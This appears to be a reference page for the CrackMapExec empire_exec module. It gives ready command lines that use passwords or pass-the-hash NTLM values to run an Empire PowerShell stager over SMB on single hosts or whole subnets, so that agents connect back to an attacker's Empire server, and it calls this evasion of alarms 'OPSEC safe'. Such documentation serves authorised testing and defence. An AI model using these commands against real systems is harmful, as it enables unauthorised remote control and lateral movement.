CrackMapExec Empire_exec (smb)


This page contains detailed information about how to use the empire_exec CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.

Description


This module uses Empire's RESTful API to generate a launcher for the specified listener and executes it on the target machine(s).

The empire_exec module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Supported Protocols


  • mssql
  • smb

Module Source Code


Authors


Module Options


As you can see below, the empire_exec module has one option:

# cme smb -M empire_exec --options
[*] empire_exec module options:

            LISTENER    Listener name to generate the launcher for

The LISTENER option is required! Make sure you set it when using this module.

Module Usage


Here is how to use the empire_exec module while using the smb protocol:

Before running any of the commands below, we have to setup an Empire listener first and configure the Empire's RESTful API server. Steps on how to do that can be found here.

Then the following commands allow us to comfortably execute the Empire agent initial stager (launcher) on the target system(s). Note that in these examples we have setup a listener with name "https":

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M empire_exec -o LISTENER=<name>

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M empire_exec -o LISTENER=https
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M empire_exec -o LISTENER=https

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M empire_exec -o LISTENER=https

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M empire_exec -o LISTENER=https
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M empire_exec -o LISTENER=https
The empire_exec module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M empire_exec -o LISTENER=https
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M empire_exec -o LISTENER=https
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M empire_exec -o LISTENER=https

CrackMapExec will automatically connect to the Empire REST API, generate a PowerShell stager and execute it on the target system(s). We should now see agents connecting to our Empire server.

References


Version


This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.